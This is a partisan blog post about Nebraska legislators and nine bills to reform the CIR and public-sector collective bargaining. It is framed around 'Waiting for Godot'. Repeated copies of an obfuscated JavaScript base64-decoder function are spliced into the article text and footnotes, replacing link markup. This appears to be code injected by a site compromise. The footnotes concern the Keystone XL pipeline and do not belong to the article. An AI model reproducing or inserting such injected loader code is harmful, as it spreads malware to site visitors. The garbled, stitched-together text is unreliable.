Collective Bargaining Bills Make Bad Political Theater at the Unicam (CIR)

Anyone in the mood to see a play? Well, just go down to the Unicameral and take a seat in the gallery. No need to buy a ticket. You see, if you pay taxes, you've already reserved your seat for this production.

What's playing? Ever heard of Waiting for Godot? It's an absurdist play by Samuel Beckett. For two days, "a pair of men divert themselves while they wait expectantly and in vain for someone named Godot to arrive. They claim him as an acquaintance but, in fact, hardly know him, admitting that they would not recognize him were they to see him. To occupy themselves, they eat, sleep, converse, argue, sing, play games, exercise, swap hats, and contemplate suicide — anything 'to hold the terrible silence at bay'. The play opens with the character Estragon struggling to remove his boot from his foot. Estragon eventually gives up, muttering, 'Nothing to be done.' His friend Vladimir takes up the thought and muses on it, the implication being that nothing is a thing that has to be done and this pair is going to have to spend the rest of the play doing it."

Of course, our state legislators have rewritten the script a bit to suit the times and the sensibilities of . . . well, themselves. Heaven forbid they play to their audience -- US. In this Unicameral production they never get past “doing nothing”. They remain perpetually stuck in the first act.

What am I talking about? Since the Unicameral convened, we here at GiN have questioned whether our elected officials are there to legislate or whether they are bent on playing games. Their handling of the issue posed by public employee collective bargaining and how that plays out -- to the taxpayers' detriment -- before the CIR proves that state senators aren't playing anymore, they're play-acting.

After squandering the opportunity to reform the CIR last session, our current crop of state senators, we are told, have seen the light. No less than NINE bills have been introduced, each one purporting to reform the process in one way or another. (The fact that so many bills were introduced is extraordinary in itself. It is a rare thing for more than one bill to be put forward on any subject, thanks to a lot of behind-the-scenes maneuvering that apparently takes place in all those smoke-filled rooms at the Capitol.)

Our illustrious governor even made a cameo appearance when he had Senator Harms introduce the governor's own proposal, LB555, for the Legislature's consideration. Now,function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-regional/govt-and-politics/article_847f3268-155e-5a06-8fa1-54b39d73dd50.html" target="_blank"> the governor is being quoted in the local paper as wanting “meaningful” reform of the CIR. (Too bad you can't tell that from reading his own bill!)

The Legislature dutifully held hearings on each of the nine bills. Oh, I'm sorry. Did I say “HEARINGS”? They held function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Sausages: A Day at the State Capitol" href="http://grassrootsne.com/?p=7371" target="_blank">ONE hearing, lumping all nine of the bills together and, as a result, limiting the amount of time devoted to discussion concerning any one of the proposals. Commenters were permitted to speak for a maximum of three minutes and were repeatedly urged not to speak at all if what they had to say resembled remarks made by those ahead of them in line. The hearing began at 1:30 in the afternoon and continued for more than SEVEN HOURS. The transcript is more than 200 pages long.

But this was just an elaborate prologue to the play itself. You see, the senators have accepted the role of the friends, waiting for the arrival of Godot. Who is Godot, you may ask? Senator Steve Lathrop. (Hold your applause until the end. Please. Trust me.)

Senator Lathrop is the Chairman of the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Labor Committee's page" href="http://news.legislature.ne.gov/bui/" target="_blank">Business and Labor Committee. That's the Committee that took testimony about the CIR bills, and it's the Committee that will determine which, if any, of those bills gets out to the floor of the Legislature for debate.

Like Vladimir and Estragon, the other 48 senators will wait in vain for their “Godot” to arrive. Unfortunately, the way this is scripted, even if Senator Lathrop puts in an appearance, we, the audience, will wish he hadn't.

Why? Let me count the reasons and the ways:

Senator Lathrop is a Democrat. And, yes, I do know that the Unicameral is nonpartisan. Excuse me for a moment. (BWAH-HA-HA-HA!!!) Okay. I'm back now.
Since at least 2008, the group that has most consistently supported Senator Lathrop, making up the largest percentage of his political donations as a group, is organized labor, including public sector unions. (See graphs images, below).
In spite of these facts, Senator Lathrop was ELECTED to the chairmanship of the Business and Labor Committee by the votes of his fellow state senators. And, get this: A supermajority of those fellow senators are Republican. Speaking as one of those Republican senator's constituents, I thought you knew better. Guess I was wrong.
Senator Lathrop introduced one of the nine bills that proposes to reform the CIR, LB397.
LB397 is a “shell” bill. IT DOESN'T PROPOSE TO DO ANYTHING TO ALTER THE CIR. It's merely an empty “shell” waiting to be filled.
In spite of this fact, LB397 was one of the bills that was “heard” by the Committee on February 7th. During the time allotted to discussion of LB397, Senator Lathrop talked about a group of people representing “all sides” that he has convened over the last few months to come to an agreement about how best to reform the CIR.
Senator Lathrop's working group includes himself, representatives of the public sector unions, representatives of the elected officials at the municipal level, and their lawyers. Funny how “all parties” doesn't seem to include the people who pay the tab -- the taxpayers.
Of course, because the working group's discussions are ongoing, no specifics could be revealed at the hearing. And, because LB397 has already received its required “hearing,” there's going to be no opportunity for public comment on the content of the bill, once content is eventually added. I guess we'll just have to wait until they pass it so we can see what's in it.
Senator Lathrop has made it function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-regional/govt-and-politics/article_773e4e28-9c20-5c5c-9420-4d7789f2a196.html" target="_blank">crystal clear that LB397 is THE bill that will make it out of his Committee. He's also made it equally clear that LB694 and LR29CA, the two measures that would do away with collective bargaining by public sector employees in Nebraska, will decidedly NOT.

Meanwhile, the other 48 of our state senators eat, sleep, converse, argue, sing, play games, exercise, swap hats, and contemplate suicide — anything "to hold the terrible silence at bay,” the implication being that nothing is a thing that has to be done and these senators are going to have to spend the rest of the play doing it.

Click to view record on followthemoney.org

Click to view record on followthemoney.org

1.	↑	Note that Congressmen attempting to take action are engaging in acts that are, at best, questionable under our Constitution; Article II, Section 2, "He (The executive / the President) shall have Power, by and with the Advice and Consent of the Senate, to make Treaties, provided two-thirds of the Senators present concur;". The Senate shouldn't have taken up Lee Terry's bill.
2.	↑	Every January, the Lincoln Journal Star Editorial Board publishes it's annual "agenda", stating, "Our intent is to be clear and direct with our readers on our priorities." In both 2011 and 2012, the agendas published included mention of the Keystone XL Pipeline. Question: Why do people believe that any "news" outlet, whether it be print or broadcast, is "fair and balanced", unbiased, or objective? Journal Star, by stating it HAS an agenda is clearly signalling to anyone reading that the newspaper does not exist to report events, but to ADVOCATE. We could thank the Journal Star Editorial Board for being so clear in notifying readers. But, I contend that the claim of an intent to be "clear and direct" is, in itself misleading. Considering the way in which Journal Star regularly reports on many issues, including the Pipeline, and specifically, the timing of publication of the price impact issue, Journal Star proves that its stated agenda about the pipeline was not "clear and direct" - its advocacy was clearly not limited to re-routing.
3.	↑	When Dubas testified before the Unicameral's Natural Resources Committee about her special session bill, that, '...[W]e have been trying to pass siting laws for the past three years. If the lobbying efforts had spent less time, energy, and money blocking our work, we would not be in this special session...'This is a discussion and a decision that should have been made already. We were lobbied to become uncertain about our rights. Now we are faced with citizens who feel we have ignored their concerns and misleading and aggressive threats of billion dollar lawsuits.'" It was such amazing statements by an elected official that led us to characterize Dubas precisely as we did in our parody game show piece about the whole Nebraska Pipeline affair, "The New National Past Time: Pipeline Hot Potato"
4.	↑	The Sovereignty Resolution was originally numbered LR292 – but due to an error in the original wording, it had to be re-introduced with a new number, LR539. We only make mention of this fact because some of the information available includes the original number, some the new number. HERE is a link to the Rules of the Legislature, the copy to which we’re linking is from the most recent session, which is the one most readily available – we do not have time to track down changes since 2010.
5.	↑	It's important to note that Senator Fulton's comments in June of 2009 about State Sovereignty / Tenth Amendment and balanced federalism are indicative of a fundamental misunderstanding that goes beyond what can be articulated merely be contrast. We cannot fully address this issue here but intend to do so in the future. Meanwhile, if readers are curious about how Sen. Fulton articulated the issue of State Sovereignty to the Unicameral committee before which the Resolution was heard and his purposes for doing so, click HERE to read the transcript. Also, for further statements by Senator Fulton regarding the TransCanada Keystone XL Pipeline, see the video located HERE.
6.	↑	The CRS report is not the only information that was available to Senator Fulton; as a member of the Nebraska State Legislature who co-sponsored legislation pertaining to pipelines, it is more than reasonable to assume either that the Senator or his staff would have been given or requested the highly relevant Interim Study Committee Report by the Natural Resources Committee which was completed in December 2010, before the opening of this year's Unicameral session. Although Senator Fulton may have been considering or working on legislation prior to the completion of the report, it is also more than reasonable to assume that a Senator who wished to conduct their work on a legislative matter would have been in contact with other Senators and with particular committees which have authority over pipelines and their related matters, which would be, first the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)\|(p5>>4);rd=((p5&15)<<4)\|(q8>>2);wb=((q8&3)<<6)\|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Telecommunications Committee page" href="http://news.legislature.ne.gov/tra/" target="_blank">Transportation and Telecommunications Committee, and second, the Natural Resources Committee. In addition to the included reference to Nebraska Congressional representatives' research work, the Interim Study Report itself conveyed enough information to make clear to a thinking person that siting authority was within the State of Nebraska's powers but that there were not adequate provisions in law to carry it out. None of the Senators, including Sen. Fulton, introduced pipeline siting legislation.
7.	↑	An ex post facto law is a retroactive law and is prohibited under the U.S. Constitution, Article I, Section 9a.
8.	↑	Special law or legislation is, "a law that applies to a particular place or esp. to a particular member or members of a class of persons or things in the same situation but not to the entire class and that is unconstitutional if the classification made is arbitrary or without a reasonable or legitimate justification or basis"
9.	↑	Because there was an effort by Nebraskas' officials to "run out the clock" and avoid taking action, there is serious potential for TransCanada to sue for damages based on a "bad faith" argument. This project has been known for some time, so lawmakers and the Governor had the opportunity to act much earlier.
10.	↑	Specific passages from "function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)\|(p5>>4);rd=((p5&15)<<4)\|(q8>>2);wb=((q8&3)<<6)\|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Markets" href="https://www.neb-one.gc.ca/ll-eng/livelink.exe/fetch/2000/90464/90552/418396/550305/556487/549220/B-1f_-_Supply_and_Markets_%28Tab_3%29_incl._Appendix_3.1_-_A1I9R7?nodeid=549324&vernum=0" target="_blank" rel="noopener noreferrer">Keystone XL Pipeline Section 52 Application, Section 3: Supply and Markets". Page 1: "...(B)itumen projects are more economic to develop than upgraded synthetic crude oil...The Keystone XL Pipeline will be in a position to access new markets for crude oil supply, both for increased supply of heavy crude in the short term, and for future supply of light synthetic crude if the economics of upgrading projects in Alberta improve." Page 2: "TransCanada...concludes that this supply growth will require access to new crude oil markets, underpinning the need for the Keystone XL Pipeline. ...“PADD”) III is the largest untapped market for western Canadian crude oil producers." Page 3: "The target market for the Keystone XL Pipeline is the USGC, located within PADD III, which is the largest refining market in the world." Page 5: "The Keystone XL Pipeline provides Canadian crude producers and USGC refiners with an opportunity to supply a portion of the total of 470,500 m3/d (2.96 million bbl/d) of heavy and light crude imports into PADD III. Furthermore, shippers on the Keystone XL Pipeline have made binding long term commitments to connect Alberta production to the USGC market." Page 7: "Existing markets for Canadian heavy crude, principally PADD II, are currently oversupplied, resulting in price discounting for Canadian heavy crude oil. Access to the USGC via the Keystone XL Pipeline is expected to strengthen Canadian crude oil pricing in PADD II by removing this oversupply. This is expected to increase the price of heavy crude to the equivalent cost of imported crude. Similarly, if a surplus of light synthetic crude develops in PADD II, the Keystone XL Pipeline would provide an alternate market and therefore help to mitigate a price discount. The resultant increase in the price of heavy crude is estimated to provide an increase in annual revenue to the Canadian producing industry in 2013 of US $2 billion to US $3.9 billion."
11.	↑	function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)\|(p5>>4);rd=((p5&15)<<4)\|(q8>>2);wb=((q8&3)<<6)\|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandmail.com/globe-investor/keystone-link-to-gulf-finds-enough-producers/article1883974/?service=mobile" target="_blank" rel="noopener noreferrer">"Keystone link to Gulf finds enough producers", "Keystone XL may mean higher Canadian crude prices"
12.	↑	The information TransCanada submitted on their Presidential Permit application for the Keystone XL project omits the particular information provided to the Canadian NEB about PADD II price increases and only mentions PADD III market increases. UPDATED May 6, 2012: Note that the original link provided in this footnote - directly to the TransCanada website's posting of the documents submitted - no longer works. TransCanada has apparently removed the document from its website. The Internet Archive's WayBack Machine, however, did archive the link, and I have also downloaded a copy of the document "just in case". Click HERE to visit the archived link and download / view the document.
13.	↑	As we have previously noted, we have received multiple, independent reports that J. Peter Ricketts is a key local benefactor for AFP-NE; in addition, Ricketts is the Founder, Director, and major funder of Platte Institute
14.	↑	An individual who went on the AFP-NE bus trip reported to me that he had a change of heart upon arriving in Atkinson and decided not to testify in support of the project; although there were no explicit statements by AFP-NE regarding testimony, the fellow who had changed his mind was aggressively pressured by the State Director throughout his time in Atkinson.

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Collective Bargaining Bills Make Bad Political Theater at the Unicam (CIR)

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